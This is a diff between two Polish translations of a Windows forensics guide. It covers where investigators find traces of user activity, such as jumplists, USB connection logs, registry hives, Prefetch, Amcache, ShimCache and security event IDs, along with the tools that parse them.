Pierwszy zestaw znaczników czasowych odnosi się do **znaczników czasowych samego pliku**. Drugi zestaw odnosi się do **znaczników czasowych połączonego pliku**.
|
Pierwszy zestaw znaczników czasowych odnosi się do **znaczników czasowych pliku**. Drugi zestaw odnosi się do **znaczników czasowych połączonego pliku**.
|
||||||
|
|
||||||
Możesz uzyskać te same informacje uruchamiając narzędzie wiersza poleceń systemu Windows: [**LECmd.exe**](https://github.com/EricZimmerman/LECmd)
|
Możesz uzyskać te same informacje uruchamiając narzędzie wiersza poleceń systemu Windows: [**LECmd.exe**](https://github.com/EricZimmerman/LECmd)
|
||||||
```
|
```
|
||||||
LECmd.exe -d C:\Users\student\Desktop\LNKs --csv C:\Users\student\Desktop\LNKs
|
LECmd.exe -d C:\Users\student\Desktop\LNKs --csv C:\Users\student\Desktop\LNKs
|
||||||
```
|
```
|
||||||
### Listy skoków
|
### Jumplists
|
||||||
|
|
||||||
Są to ostatnie pliki wskazane dla każdej aplikacji. To lista **ostatnio używanych plików przez aplikację**, do której można uzyskać dostęp w każdej aplikacji. Mogą być tworzone **automatycznie lub niestandardowo**.
|
To są ostatnie pliki wskazane dla każdej aplikacji. To lista **ostatnio używanych plików przez aplikację**, do której można uzyskać dostęp w każdej aplikacji. Mogą być tworzone **automatycznie lub niestandardowo**.
|
||||||
|
|
||||||
Listy skoków tworzone automatycznie są przechowywane w `C:\Users\{nazwa_użytkownika}\AppData\Roaming\Microsoft\Windows\Recent\AutomaticDestinations\`. Listy skoków są nazwane zgodnie z formatem `{id}.autmaticDestinations-ms`, gdzie początkowe ID to ID aplikacji.
|
**Jumplisty** tworzone automatycznie są przechowywane w `C:\Users\{nazwa_użytkownika}\AppData\Roaming\Microsoft\Windows\Recent\AutomaticDestinations\`. Jumplisty są nazwane zgodnie z formatem `{id}.autmaticDestinations-ms`, gdzie początkowe ID to ID aplikacji.
|
||||||
|
|
||||||
Niestandardowe listy skoków są przechowywane w `C:\Users\{nazwa_użytkownika}\AppData\Roaming\Microsoft\Windows\Recent\CustomDestination\` i są tworzone przez aplikację zazwyczaj dlatego, że coś **ważnego** wydarzyło się z plikiem (być może oznaczony jako ulubiony).
|
Niestandardowe jumplisty są przechowywane w `C:\Users\{nazwa_użytkownika}\AppData\Roaming\Microsoft\Windows\Recent\CustomDestination\` i są tworzone przez aplikację zazwyczaj dlatego, że coś **ważnego** wydarzyło się z plikiem (być może oznaczony jako ulubiony).
|
||||||
|
|
||||||
**Czas utworzenia** dowolnej listy skoków wskazuje **pierwszy raz, gdy plik był otwierany**, a **czas modyfikacji ostatni raz**.
|
**Czas utworzenia** dowolnego jumplistu wskazuje **pierwszy raz, gdy plik był otwierany** oraz **czas modyfikacji ostatni raz**.
|
||||||
|
|
||||||
Możesz sprawdzić listy skoków za pomocą [**JumplistExplorer**](https://ericzimmerman.github.io/#!index.md).
|
Możesz sprawdzić jumplisty za pomocą [**JumplistExplorer**](https://ericzimmerman.github.io/#!index.md).
|
||||||
|
|
||||||
![](<../../../.gitbook/assets/image (474).png>)
|
![](<../../../.gitbook/assets/image (474).png>)
|
||||||
|
|
||||||
(_Zauważ, że znaczniki czasowe dostarczone przez JumplistExplorer odnoszą się do samego pliku listy skoków_)
|
(_Zauważ, że znaczniki czasowe dostarczone przez JumplistExplorer odnoszą się do samego pliku jumplist_)
|
||||||
|
|
||||||
### Shellbags
|
### Shellbags
|
||||||
|
|
||||||
|
@ -136,11 +136,11 @@ Możesz sprawdzić listy skoków za pomocą [**JumplistExplorer**](https://ericz
|
||||||
|
|
||||||
## Użycie urządzeń USB w systemie Windows
|
## Użycie urządzeń USB w systemie Windows
|
||||||
|
|
||||||
Możliwe jest zidentyfikowanie użycia urządzenia USB dzięki utworzeniu:
|
Możliwe jest zidentyfikowanie, że urządzenie USB zostało użyte dzięki utworzeniu:
|
||||||
|
|
||||||
* Folderu Ostatnie w systemie Windows
|
* Folderu Ostatnie w systemie Windows
|
||||||
* Folderu Ostatnie w programie Microsoft Office
|
* Folderu Ostatnie w programie Microsoft Office
|
||||||
* Listów skoków
|
* Jumplistów
|
||||||
|
|
||||||
Zauważ, że niektóre pliki LNK zamiast wskazywać na oryginalną ścieżkę, wskazują na folder WPDNSE:
|
Zauważ, że niektóre pliki LNK zamiast wskazywać na oryginalną ścieżkę, wskazują na folder WPDNSE:
|
||||||
|
|
||||||
|
@ -154,19 +154,19 @@ Pliki w folderze WPDNSE są kopią oryginalnych plików, więc nie przetrwają r
|
||||||
|
|
||||||
### setupapi
|
### setupapi
|
||||||
|
|
||||||
Sprawdź plik `C:\Windows\inf\setupapi.dev.log`, aby uzyskać znaczniki czasu dotyczące momentu podłączenia urządzenia USB (szukaj `Section start`).
|
Sprawdź plik `C:\Windows\inf\setupapi.dev.log`, aby uzyskać znaczniki czasu dotyczące momentu, kiedy nastąpiło podłączenie urządzenia USB (szukaj `Section start`).
|
||||||
|
|
||||||
![](<../../../.gitbook/assets/image (477) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (14).png>)
|
![](<../../../.gitbook/assets/image (477) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (14).png>)
|
||||||
|
|
||||||
### Detektyw USB
|
### Detektyw USB
|
||||||
|
|
||||||
[**USBDetective**](https://usbdetective.com) można użyć do uzyskania informacji o urządzeniach USB podłączonych do obrazu.
|
[**USBDetective**](https://usbdetective.com) można użyć do uzyskania informacji o urządzeniach USB, które były podłączone do obrazu.
|
||||||
|
|
||||||
![](<../../../.gitbook/assets/image (483).png>)
|
![](<../../../.gitbook/assets/image (483).png>)
|
||||||
|
|
||||||
### Czyszczenie wtyczki i gry
|
### Czyszczenie wtyczki i gry
|
||||||
|
|
||||||
Zaplanowane zadanie znane jako 'Czyszczenie wtyczki i gry' jest przeznaczone głównie do usuwania przestarzałych wersji sterowników. Wbrew określonym celom zachowania najnowszej wersji pakietu sterowników, źródła internetowe sugerują, że celuje również w sterowniki, które były nieaktywne przez 30 dni. W rezultacie sterowniki dla urządzeń wymiennych niepodłączonych w ciągu ostatnich 30 dni mogą zostać usunięte.
|
Zaplanowane zadanie znane jako 'Czyszczenie wtyczki i gry' jest przeznaczone głównie do usuwania przestarzałych wersji sterowników. Wbrew określonym celom zachowania najnowszej wersji pakietu sterowników, źródła internetowe sugerują, że celuje również w sterowniki, które były nieaktywne przez 30 dni. W rezultacie sterowniki dla urządzeń przenośnych, które nie były podłączone w ciągu ostatnich 30 dni, mogą zostać usunięte.
|
||||||
|
|
||||||
Zadanie znajduje się pod następującą ścieżką:
|
Zadanie znajduje się pod następującą ścieżką:
|
||||||
`C:\Windows\System32\Tasks\Microsoft\Windows\Plug and Play\Plug and Play Cleanup`.
|
`C:\Windows\System32\Tasks\Microsoft\Windows\Plug and Play\Plug and Play Cleanup`.
|
||||||
|
@ -176,12 +176,12 @@ Zamieszczono zrzut ekranu przedstawiający zawartość zadania:
|
||||||
|
|
||||||
**Kluczowe składniki i ustawienia zadania:**
|
**Kluczowe składniki i ustawienia zadania:**
|
||||||
- **pnpclean.dll**: Ta biblioteka DLL jest odpowiedzialna za rzeczywisty proces czyszczenia.
|
- **pnpclean.dll**: Ta biblioteka DLL jest odpowiedzialna za rzeczywisty proces czyszczenia.
|
||||||
- **UseUnifiedSchedulingEngine**: Ustawione na `TRUE`, wskazujące na użycie ogólnego silnika harmonogramowania zadań.
|
- **UseUnifiedSchedulingEngine**: Ustawione na `TRUE`, co wskazuje na użycie ogólnego silnika harmonogramowania zadań.
|
||||||
- **MaintenanceSettings**:
|
- **MaintenanceSettings**:
|
||||||
- **Okres ('P1M')**: Nakazuje Harmonogramowi zadań uruchomienie zadania czyszczenia miesięcznie podczas regularnej konserwacji automatycznej.
|
- **Okres ('P1M')**: Nakazuje Harmonogramowi zadań uruchomienie zadania czyszczenia co miesiąc podczas regularnego konserwacji automatycznej.
|
||||||
- **Termin ('P2M')**: Instruuje Harmonogram zadań, że w przypadku dwóch kolejnych niepowodzeń zadania, należy wykonać zadanie podczas awaryjnej konserwacji automatycznej.
|
- **Termin ('P2M')**: Instruuje Harmonogram zadań, że w przypadku dwóch kolejnych niepowodzeń zadania, należy wykonać je podczas awaryjnej konserwacji automatycznej.
|
||||||
|
|
||||||
Ta konfiguracja zapewnia regularną konserwację i czyszczenie sterowników, z możliwością ponownej próby zadania w przypadku kolejnych niepowodzeń.
|
Ta konfiguracja zapewnia regularną konserwację i czyszczenie sterowników, z postanowieniami dotyczącymi ponownej próby wykonania zadania w przypadku kolejnych niepowodzeń.
|
||||||
|
|
||||||
**Aby uzyskać więcej informacji, sprawdź:** [**https://blog.1234n6.com/2018/07/windows-plug-and-play-cleanup.html**](https://blog.1234n6.com/2018/07/windows-plug-and-play-cleanup.html)
|
**Aby uzyskać więcej informacji, sprawdź:** [**https://blog.1234n6.com/2018/07/windows-plug-and-play-cleanup.html**](https://blog.1234n6.com/2018/07/windows-plug-and-play-cleanup.html)
|
||||||
|
|
||||||
|
@ -190,7 +190,7 @@ Ta konfiguracja zapewnia regularną konserwację i czyszczenie sterowników, z m
|
||||||
Emaile zawierają **2 interesujące części: Nagłówki i treść** wiadomości. W **nagłówkach** można znaleźć informacje takie jak:
|
Emaile zawierają **2 interesujące części: Nagłówki i treść** wiadomości. W **nagłówkach** można znaleźć informacje takie jak:
|
||||||
|
|
||||||
* **Kto** wysłał emaile (adres email, IP, serwery poczty, które przekierowały email)
|
* **Kto** wysłał emaile (adres email, IP, serwery poczty, które przekierowały email)
|
||||||
* **Kiedy** został wysłany email
|
* **Kiedy** email został wysłany
|
||||||
|
|
||||||
Ponadto, w nagłówkach `References` i `In-Reply-To` można znaleźć ID wiadomości:
|
Ponadto, w nagłówkach `References` i `In-Reply-To` można znaleźć ID wiadomości:
|
||||||
|
|
||||||
|
@ -225,7 +225,7 @@ Możesz otworzyć plik PST za pomocą narzędzia [**Kernel PST Viewer**](https:/
|
||||||
![](<../../../.gitbook/assets/image (485).png>)
|
![](<../../../.gitbook/assets/image (485).png>)
|
||||||
### Pliki OST programu Microsoft Outlook
|
### Pliki OST programu Microsoft Outlook
|
||||||
|
|
||||||
Plik **OST** jest generowany przez program Microsoft Outlook, gdy jest skonfigurowany z serwerem **IMAP** lub **Exchange**, przechowując podobne informacje jak plik PST. Ten plik jest zsynchronizowany z serwerem, przechowując dane z **ostatnich 12 miesięcy** do **maksymalnego rozmiaru 50 GB**, i znajduje się w tym samym katalogu co plik PST. Aby wyświetlić plik OST, można skorzystać z [**przeglądarki Kernel OST**](https://www.nucleustechnologies.com/ost-viewer.html).
|
Plik **OST** jest generowany przez program Microsoft Outlook, gdy jest skonfigurowany z serwerem **IMAP** lub **Exchange**, przechowując podobne informacje jak plik PST. Ten plik jest zsynchronizowany z serwerem, przechowując dane z **ostatnich 12 miesięcy** do **maksymalnego rozmiaru 50 GB**, i znajduje się w tym samym katalogu co plik PST. Aby wyświetlić plik OST, można skorzystać z [**przeglądarki OST Kernel**](https://www.nucleustechnologies.com/ost-viewer.html).
|
||||||
|
|
||||||
### Odzyskiwanie załączników
|
### Odzyskiwanie załączników
|
||||||
|
|
||||||
|
@ -257,9 +257,9 @@ Rejestr systemu Windows, przechowujący rozległe dane dotyczące aktywności sy
|
||||||
|
|
||||||
Niektóre narzędzia są przydatne do analizy plików rejestru:
|
Niektóre narzędzia są przydatne do analizy plików rejestru:
|
||||||
|
|
||||||
* **Edytor Rejestru**: Zainstalowany w systemie Windows. Jest to interfejs graficzny umożliwiający nawigację po rejestrze systemu Windows bieżącej sesji.
|
* **Edytor Rejestru**: Zainstalowany w systemie Windows. Jest to interfejs graficzny do nawigacji po rejestrze systemu Windows bieżącej sesji.
|
||||||
* [**Eksplorator Rejestru**](https://ericzimmerman.github.io/#!index.md): Pozwala na załadowanie pliku rejestru i nawigację po nim za pomocą interfejsu graficznego. Zawiera również zakładki z wyróżnionymi kluczami zawierającymi interesujące informacje.
|
* [**Eksplorator Rejestru**](https://ericzimmerman.github.io/#!index.md): Pozwala na załadowanie pliku rejestru i nawigację po nim za pomocą interfejsu graficznego. Zawiera również zakładki z kluczami zawierającymi interesujące informacje.
|
||||||
* [**RegRipper**](https://github.com/keydet89/RegRipper3.0): Ponownie, posiada interfejs graficzny umożliwiający nawigację po załadowanym rejestrze i zawiera wtyczki wyróżniające interesujące informacje w załadowanym rejestrze.
|
* [**RegRipper**](https://github.com/keydet89/RegRipper3.0): Ponownie, posiada interfejs graficzny umożliwiający nawigację po załadowanym rejestrze oraz zawiera wtyczki podświetlające interesujące informacje w załadowanym rejestrze.
|
||||||
* [**Windows Registry Recovery**](https://www.mitec.cz/wrr.html): Kolejna aplikacja z interfejsem graficznym zdolna do wyodrębniania istotnych informacji z załadowanego rejestru.
|
* [**Windows Registry Recovery**](https://www.mitec.cz/wrr.html): Kolejna aplikacja z interfejsem graficznym zdolna do wyodrębniania istotnych informacji z załadowanego rejestru.
|
||||||
|
|
||||||
### Odzyskiwanie Usuniętego Elementu
|
### Odzyskiwanie Usuniętego Elementu
|
||||||
|
@ -268,7 +268,7 @@ Gdy klucz jest usunięty, jest oznaczony jako taki, ale dopóki przestrzeń, kt
|
||||||
|
|
||||||
### Czas Ostatniej Modyfikacji
|
### Czas Ostatniej Modyfikacji
|
||||||
|
|
||||||
Każdy klucz-wartość zawiera **znacznik czasu**, wskazujący ostatni czas jego modyfikacji.
|
Każdy klucz-wartość zawiera **znacznik czasu**, wskazujący ostatnią modyfikację.
|
||||||
|
|
||||||
### SAM
|
### SAM
|
||||||
|
|
||||||
|
@ -286,23 +286,23 @@ W `SAM\Domains\Account\Users` można uzyskać nazwę użytkownika, RID, ostatnie
|
||||||
|
|
||||||
### Podstawowe Procesy Windows
|
### Podstawowe Procesy Windows
|
||||||
|
|
||||||
W [tym poście](https://jonahacks.medium.com/investigating-common-windows-processes-18dee5f97c1d) można dowiedzieć się o powszechnych procesach systemu Windows, aby wykryć podejrzane zachowania.
|
W [tym poście](https://jonahacks.medium.com/investigating-common-windows-processes-18dee5f97c1d) możesz dowiedzieć się o powszechnych procesach systemu Windows, aby wykryć podejrzane zachowania.
|
||||||
|
|
||||||
### Ostatnie Aplikacje Windows
|
### Ostatnie Aplikacje Windows
|
||||||
|
|
||||||
W rejestrze `NTUSER.DAT` w ścieżce `Software\Microsoft\Current Version\Search\RecentApps` można znaleźć podklucze z informacjami o **uruchomionej aplikacji**, **ostatnim czasie** jej uruchomienia i **liczbie uruchomień**.
|
W rejestrze `NTUSER.DAT` w ścieżce `Software\Microsoft\Current Version\Search\RecentApps` można znaleźć podklucze z informacjami o **uruchomionej aplikacji**, **ostatnim czasie** jej uruchomienia oraz **liczbie uruchomień**.
|
||||||
|
|
||||||
### BAM (Moderator Aktywności w Tle)
|
### BAM (Moderator Aktywności w Tle)
|
||||||
|
|
||||||
Można otworzyć plik `SYSTEM` za pomocą edytora rejestru i w ścieżce `SYSTEM\CurrentControlSet\Services\bam\UserSettings\{SID}` znaleźć informacje o **aplikacjach uruchomionych przez każdego użytkownika** (zauważ `{SID}` w ścieżce) i **czasie** ich uruchomienia (czas znajduje się w wartości danych rejestru).
|
Możesz otworzyć plik `SYSTEM` za pomocą edytora rejestru i w ścieżce `SYSTEM\CurrentControlSet\Services\bam\UserSettings\{SID}` znajdziesz informacje o **aplikacjach uruchomionych przez każdego użytkownika** (zauważ `{SID}` w ścieżce) oraz **czasie** ich uruchomienia (czas znajduje się w wartości danych rejestru).
|
||||||
|
|
||||||
### Prefetch systemu Windows
|
### Prefetch systemu Windows
|
||||||
|
|
||||||
Prefetching to technika, która pozwala komputerowi cicho **pobrać niezbędne zasoby potrzebne do wyświetlenia zawartości**, do której użytkownik **może mieć dostęp w najbliższej przyszłości**, aby zasoby można było szybciej uzyskać.
|
Prefetching to technika, która pozwala komputerowi cicho **pobrać niezbędne zasoby potrzebne do wyświetlenia zawartości**, do której użytkownik **może mieć dostęp w najbliższej przyszłości**, aby zasoby można było szybciej uzyskać.
|
||||||
|
|
||||||
Prefetching systemu Windows polega na tworzeniu **pamięci podręcznej wykonanych programów**, aby można je było szybciej załadować. Te pamięci podręczne są tworzone jako pliki `.pf` w ścieżce: `C:\Windows\Prefetch`. Istnieje limit 128 plików w XP/VISTA/WIN7 i 1024 plików w Win8/Win10.
|
Prefetch systemu Windows polega na tworzeniu **pamięci podręcznej wykonanych programów**, aby można je było szybciej załadować. Te pamięci podręczne są tworzone jako pliki `.pf` w ścieżce: `C:\Windows\Prefetch`. Istnieje limit 128 plików w XP/VISTA/WIN7 i 1024 plików w Win8/Win10.
|
||||||
|
|
||||||
Nazwa pliku jest tworzona jako `{nazwa_programu}-{hash}.pf` (hash jest oparty na ścieżce i argumentach wykonywalnego pliku). W W10 te pliki są skompresowane. Należy zauważyć, że sama obecność pliku wskazuje, że **program został uruchomiony** w pewnym momencie.
|
Nazwa pliku jest tworzona jako `{nazwa_programu}-{hash}.pf` (hash jest oparty na ścieżce i argumentach wykonywalnego). W W10 te pliki są skompresowane. Należy zauważyć, że sama obecność pliku wskazuje, że **program został wykonany** w pewnym momencie.
|
||||||
|
|
||||||
Plik `C:\Windows\Prefetch\Layout.ini` zawiera **nazwy folderów plików, które są prefetowane**. Ten plik zawiera **informacje o liczbie uruchomień**, **daty** uruchomienia i **plików** **otwartych** przez program.
|
Plik `C:\Windows\Prefetch\Layout.ini` zawiera **nazwy folderów plików, które są prefetowane**. Ten plik zawiera **informacje o liczbie uruchomień**, **daty** uruchomienia i **plików** **otwartych** przez program.
|
||||||
|
|
||||||
|
@ -314,7 +314,7 @@ Aby przejrzeć te pliki, można użyć narzędzia [**PEcmd.exe**](https://github
|
||||||
|
|
||||||
### Superprefetch
|
### Superprefetch
|
||||||
|
|
||||||
**Superprefetch** ma ten sam cel co prefetch, **szybsze ładowanie programów** przez przewidywanie, co zostanie załadowane następnie. Jednak nie zastępuje usługi prefetch.\
|
**Superprefetch** ma ten sam cel co prefetch, **szybsze ładowanie programów** poprzez przewidywanie, co zostanie załadowane następnie. Jednak nie zastępuje usługi prefetch.\
|
||||||
Ta usługa generuje pliki bazy danych w `C:\Windows\Prefetch\Ag*.db`.
|
Ta usługa generuje pliki bazy danych w `C:\Windows\Prefetch\Ag*.db`.
|
||||||
|
|
||||||
W tych bazach danych można znaleźć **nazwę programu**, **liczbę wykonanych operacji**, **otwarte pliki**, **dostęp do woluminu**, **pełną ścieżkę**, **ramy czasowe** i **znaczniki czasu**.
|
W tych bazach danych można znaleźć **nazwę programu**, **liczbę wykonanych operacji**, **otwarte pliki**, **dostęp do woluminu**, **pełną ścieżkę**, **ramy czasowe** i **znaczniki czasu**.
|
||||||
|
@ -343,7 +343,7 @@ Możesz uzyskać dane z tego pliku za pomocą narzędzia [**srum\_dump**](https:
|
||||||
```
|
```
|
||||||
### AppCompatCache (ShimCache)
|
### AppCompatCache (ShimCache)
|
||||||
|
|
||||||
**AppCompatCache**, znany również jako **ShimCache**, stanowi część **Bazy danych zgodności aplikacji** opracowanej przez **Microsoft** w celu rozwiązywania problemów zgodności aplikacji. Ten komponent systemu rejestruje różne elementy metadanych plików, w tym:
|
**AppCompatCache**, znany również jako **ShimCache**, stanowi część **Bazy danych zgodności aplikacji** opracowanej przez **Microsoft** w celu rozwiązywania problemów zgodności aplikacji. Ten składnik systemu rejestruje różne elementy metadanych plików, w tym:
|
||||||
|
|
||||||
- Pełna ścieżka pliku
|
- Pełna ścieżka pliku
|
||||||
- Rozmiar pliku
|
- Rozmiar pliku
|
||||||
|
@ -354,7 +354,7 @@ Możesz uzyskać dane z tego pliku za pomocą narzędzia [**srum\_dump**](https:
|
||||||
Takie dane są przechowywane w rejestrze w określonych lokalizacjach w zależności od wersji systemu operacyjnego:
|
Takie dane są przechowywane w rejestrze w określonych lokalizacjach w zależności od wersji systemu operacyjnego:
|
||||||
|
|
||||||
- Dla systemu XP dane są przechowywane w `SYSTEM\CurrentControlSet\Control\SessionManager\Appcompatibility\AppcompatCache` z pojemnością na 96 wpisów.
|
- Dla systemu XP dane są przechowywane w `SYSTEM\CurrentControlSet\Control\SessionManager\Appcompatibility\AppcompatCache` z pojemnością na 96 wpisów.
|
||||||
- Dla Servera 2003 oraz wersji systemu Windows 2008, 2012, 2016, 7, 8 i 10 ścieżka przechowywania to `SYSTEM\CurrentControlSet\Control\SessionManager\AppcompatCache\AppCompatCache`, z pojemnością na odpowiednio 512 i 1024 wpisy.
|
- Dla Servera 2003 oraz dla wersji systemu Windows 2008, 2012, 2016, 7, 8 i 10 ścieżka przechowywania to `SYSTEM\CurrentControlSet\Control\SessionManager\AppcompatCache\AppCompatCache`, z pojemnością na odpowiednio 512 i 1024 wpisy.
|
||||||
|
|
||||||
Do analizy przechowywanych informacji zaleca się użycie narzędzia [**AppCompatCacheParser**](https://github.com/EricZimmerman/AppCompatCacheParser).
|
Do analizy przechowywanych informacji zaleca się użycie narzędzia [**AppCompatCacheParser**](https://github.com/EricZimmerman/AppCompatCacheParser).
|
||||||
|
|
||||||
|
@ -362,7 +362,7 @@ Do analizy przechowywanych informacji zaleca się użycie narzędzia [**AppCompa
|
||||||
|
|
||||||
### Amcache
|
### Amcache
|
||||||
|
|
||||||
Plik **Amcache.hve** to w zasadzie rejestr bazy danych rejestrujący szczegóły dotyczące aplikacji uruchomionych w systemie. Zazwyczaj znajduje się w `C:\Windows\AppCompat\Programas\Amcache.hve`.
|
Plik **Amcache.hve** to w zasadzie rejestr bazy danych rejestrujący szczegóły dotyczące aplikacji uruchomionych w systemie. Zazwyczaj znajduje się pod adresem `C:\Windows\AppCompat\Programas\Amcache.hve`.
|
||||||
|
|
||||||
Ten plik jest znany z przechowywania rekordów niedawno uruchomionych procesów, w tym ścieżek do plików wykonywalnych i ich skrótów SHA1. Te informacje są nieocenione do śledzenia aktywności aplikacji w systemie.
|
Ten plik jest znany z przechowywania rekordów niedawno uruchomionych procesów, w tym ścieżek do plików wykonywalnych i ich skrótów SHA1. Te informacje są nieocenione do śledzenia aktywności aplikacji w systemie.
|
||||||
|
|
||||||
|
@ -370,13 +370,13 @@ Aby wydobyć i przeanalizować dane z pliku **Amcache.hve**, można użyć narz
|
||||||
```bash
|
```bash
|
||||||
AmcacheParser.exe -f C:\Users\genericUser\Desktop\Amcache.hve --csv C:\Users\genericUser\Desktop\outputFolder
|
AmcacheParser.exe -f C:\Users\genericUser\Desktop\Amcache.hve --csv C:\Users\genericUser\Desktop\outputFolder
|
||||||
```
|
```
|
||||||
Wśród wygenerowanych plików CSV szczególnie godne uwagi są `Amcache_Unassociated file entries` ze względu na bogate informacje dotyczące niepowiązanych wpisów plików.
|
Wśród wygenerowanych plików CSV szczególnie godne uwagi są `Amcache_Unassociated file entries` ze względu na bogate informacje, jakie dostarczają o niepowiązanych wpisach plików.
|
||||||
|
|
||||||
Najbardziej interesującym plikiem CSV generowanym jest `Amcache_Unassociated file entries`.
|
Najbardziej interesującym plikiem CVS jest `Amcache_Unassociated file entries`.
|
||||||
|
|
||||||
### RecentFileCache
|
### RecentFileCache
|
||||||
|
|
||||||
Ten artefakt można znaleźć tylko w W7 w `C:\Windows\AppCompat\Programs\RecentFileCache.bcf` i zawiera informacje o ostatnim wykonaniu niektórych plików binarnych.
|
Ten artefakt można znaleźć tylko w W7 w `C:\Windows\AppCompat\Programs\RecentFileCache.bcf` i zawiera informacje o ostatnim uruchomieniu niektórych plików binarnych.
|
||||||
|
|
||||||
Możesz użyć narzędzia [**RecentFileCacheParse**](https://github.com/EricZimmerman/RecentFileCacheParser) do analizy pliku.
|
Możesz użyć narzędzia [**RecentFileCacheParse**](https://github.com/EricZimmerman/RecentFileCacheParser) do analizy pliku.
|
||||||
|
|
||||||
|
@ -386,21 +386,21 @@ Możesz je wyodrębnić z `C:\Windows\Tasks` lub `C:\Windows\System32\Tasks` i o
|
||||||
|
|
||||||
### Usługi
|
### Usługi
|
||||||
|
|
||||||
Możesz je znaleźć w rejestrze pod `SYSTEM\ControlSet001\Services`. Można zobaczyć, co ma zostać wykonane i kiedy.
|
Możesz je znaleźć w rejestrze pod `SYSTEM\ControlSet001\Services`. Możesz zobaczyć, co ma zostać wykonane i kiedy.
|
||||||
|
|
||||||
### **Sklep Windows**
|
### **Sklep Windows**
|
||||||
|
|
||||||
Zainstalowane aplikacje można znaleźć w `\ProgramData\Microsoft\Windows\AppRepository\`\
|
Zainstalowane aplikacje można znaleźć w `\ProgramData\Microsoft\Windows\AppRepository\`\
|
||||||
Ten repozytorium zawiera **dziennik** z **każdą zainstalowaną aplikacją** w systemie wewnątrz bazy danych **`StateRepository-Machine.srd`**.
|
Ten repozytorium zawiera **dziennik** z **każdą zainstalowaną aplikacją** w systemie wewnątrz bazy danych **`StateRepository-Machine.srd`**.
|
||||||
|
|
||||||
W tabeli Aplikacji tej bazy danych można znaleźć kolumny: "ID aplikacji", "Numer pakietu" i "Nazwa wyświetlana". Te kolumny zawierają informacje o aplikacjach preinstalowanych i zainstalowanych, a można sprawdzić, czy niektóre aplikacje zostały odinstalowane, ponieważ identyfikatory zainstalowanych aplikacji powinny być sekwencyjne.
|
W tabeli Application tej bazy danych można znaleźć kolumny: "Application ID", "PackageNumber" i "Display Name". Te kolumny zawierają informacje o aplikacjach preinstalowanych i zainstalowanych, a można znaleźć informacje, czy niektóre aplikacje zostały odinstalowane, ponieważ identyfikatory zainstalowanych aplikacji powinny być sekwencyjne.
|
||||||
|
|
||||||
Możliwe jest również **znalezienie zainstalowanej aplikacji** w ścieżce rejestru: `Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Applications\`\
|
Możliwe jest również **znalezienie zainstalowanej aplikacji** w ścieżce rejestru: `Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Applications\`\
|
||||||
A **odinstalowane** **aplikacje** w: `Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Deleted\`
|
A **odinstalowane aplikacje** w: `Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Deleted\`
|
||||||
|
|
||||||
## Zdarzenia systemu Windows
|
## Zdarzenia systemu Windows
|
||||||
|
|
||||||
Informacje pojawiające się w zdarzeniach systemu Windows to:
|
Informacje zawarte w zdarzeniach systemu Windows to:
|
||||||
|
|
||||||
* Co się stało
|
* Co się stało
|
||||||
* Znacznik czasu (UTC + 0)
|
* Znacznik czasu (UTC + 0)
|
||||||
|
@ -412,11 +412,11 @@ Dzienniki znajdują się w `C:\Windows\System32\config` przed Windows Vista i w
|
||||||
|
|
||||||
Lokalizację plików zdarzeń można znaleźć w rejestrze SYSTEM w **`HKLM\SYSTEM\CurrentControlSet\services\EventLog\{Application|System|Security}`**
|
Lokalizację plików zdarzeń można znaleźć w rejestrze SYSTEM w **`HKLM\SYSTEM\CurrentControlSet\services\EventLog\{Application|System|Security}`**
|
||||||
|
|
||||||
Mogą być wizualizowane za pomocą Podglądu zdarzeń systemu Windows (**`eventvwr.msc`**) lub innymi narzędziami takimi jak [**Event Log Explorer**](https://eventlogxp.com) **lub** [**Evtx Explorer/EvtxECmd**](https://ericzimmerman.github.io/#!index.md)**.**
|
Można je wizualizować za pomocą Podglądu zdarzeń systemu Windows (**`eventvwr.msc`**) lub innymi narzędziami takimi jak [**Event Log Explorer**](https://eventlogxp.com) **lub** [**Evtx Explorer/EvtxECmd**](https://ericzimmerman.github.io/#!index.md)**.**
|
||||||
|
|
||||||
## Zrozumienie Rejestrowania Zdarzeń Bezpieczeństwa w systemie Windows
|
## Zrozumienie rejestrowania zdarzeń bezpieczeństwa systemu Windows
|
||||||
|
|
||||||
Zdarzenia dostępu są rejestrowane w pliku konfiguracji bezpieczeństwa znajdującym się w `C:\Windows\System32\winevt\Security.evtx`. Rozmiar tego pliku jest możliwy do dostosowania, a gdy osiągnie swoją pojemność, starsze zdarzenia są nadpisywane. Rejestrowane zdarzenia obejmują logowanie i wylogowywanie użytkowników, akcje użytkowników, zmiany ustawień zabezpieczeń, a także dostęp do plików, folderów i zasobów udostępnionych.
|
Zdarzenia dostępu są rejestrowane w pliku konfiguracji bezpieczeństwa znajdującym się w `C:\Windows\System32\winevt\Security.evtx`. Rozmiar tego pliku jest możliwy do dostosowania, a gdy osiągnie swoją pojemność, starsze zdarzenia są nadpisywane. Rejestrowane zdarzenia obejmują logowanie i wylogowywanie użytkowników, akcje użytkowników, zmiany ustawień zabezpieczeń, a także dostęp do plików, folderów i współdzielonych zasobów.
|
||||||
|
|
||||||
### Kluczowe identyfikatory zdarzeń dla uwierzytelniania użytkownika:
|
### Kluczowe identyfikatory zdarzeń dla uwierzytelniania użytkownika:
|
||||||
|
|
||||||
|
@ -428,17 +428,17 @@ Zdarzenia dostępu są rejestrowane w pliku konfiguracji bezpieczeństwa znajduj
|
||||||
#### Podtypy wewnątrz EventID 4634/4647:
|
#### Podtypy wewnątrz EventID 4634/4647:
|
||||||
|
|
||||||
- **Interaktywne (2)**: Bezpośrednie logowanie użytkownika.
|
- **Interaktywne (2)**: Bezpośrednie logowanie użytkownika.
|
||||||
- **Sieciowe (3)**: Dostęp do udostępnionych folderów.
|
- **Sieciowe (3)**: Dostęp do współdzielonych folderów.
|
||||||
- **Partia (4)**: Wykonywanie procesów wsadowych.
|
- **Partia (4)**: Wykonywanie procesów wsadowych.
|
